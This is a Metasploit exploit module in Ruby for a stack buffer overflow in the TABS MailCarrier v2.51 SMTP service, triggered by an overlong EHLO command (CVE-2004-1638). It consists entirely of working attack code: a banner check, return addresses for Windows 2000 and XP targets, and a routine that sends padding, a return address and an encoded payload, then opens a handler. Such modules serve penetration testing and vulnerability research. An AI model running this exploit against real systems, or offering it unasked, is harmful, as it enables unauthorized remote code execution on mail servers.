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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = GoodRanking
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  include Msf::Exploit::Remote::Tcp
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name'	=> 'TABS MailCarrier v2.51 SMTP EHLO Overflow',
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        'Description'	=> %q{
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          This module exploits the MailCarrier v2.51 suite SMTP service.
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          The stack is overwritten when sending an overly long EHLO command.
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        },
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        'Author' => [ 'aushack' ],
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        'License' => MSF_LICENSE,
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        'References' => [
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          [ 'CVE', '2004-1638' ],
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          [ 'OSVDB', '11174' ],
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          [ 'BID', '11535' ],
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          [ 'EDB', '598' ],
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        ],
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        'Platform' => ['win'],
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        'Arch'	=> [ ARCH_X86 ],
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        'Privileged'	=> true,
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        'DefaultOptions' => {
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          'EXITFUNC' => 'thread',
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        },
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        'Payload' => {
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          # 'Space'			=> 300,
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          'BadChars' => "\x00\x0a\x0d:",
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          'StackAdjustment'	=> -3500,
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        },
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        'Targets' => [
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          # Patrick - Tested OK 2007/08/05 : w2ksp0, w2ksp4, xpsp0, xpsp2 en.
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          [ 'Windows 2000 SP0 - XP SP1 - EN/FR/GR', { 'Ret' => 0x0fa14c63	} ], # jmp esp expsrv.dll w2ksp0 - xpsp1
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          [ 'Windows XP SP2 - EN', { 'Ret' => 0x0fa14ccf } ], # jmp esp expsrv.dll xpsp2 en
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        ],
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        'DisclosureDate' => '2004-10-26',
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        'DefaultTarget' => 0,
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        'Notes' => {
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'Stability' => UNKNOWN_STABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
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    register_options(
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      [
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        Opt::RPORT(25),
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        Opt::LHOST(), # Required for stack offset
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      ]
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    )
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  end
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  def check
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    connect
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    banner = sock.get_once || ''
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    disconnect
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    if banner.to_s =~ /ESMTP TABS Mail Server for Windows NT/
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      return Exploit::CheckCode::Detected
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    end
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    return Exploit::CheckCode::Safe
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  end
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  def exploit
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    connect
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    sploit = "EHLO " + rand_text_alphanumeric(5106 - datastore['LHOST'].length, payload_badchars)
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    sploit << [target['Ret']].pack('V') + payload.encoded
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    sock.put(sploit + "\r\n")
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    handler
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    disconnect
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  end
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end
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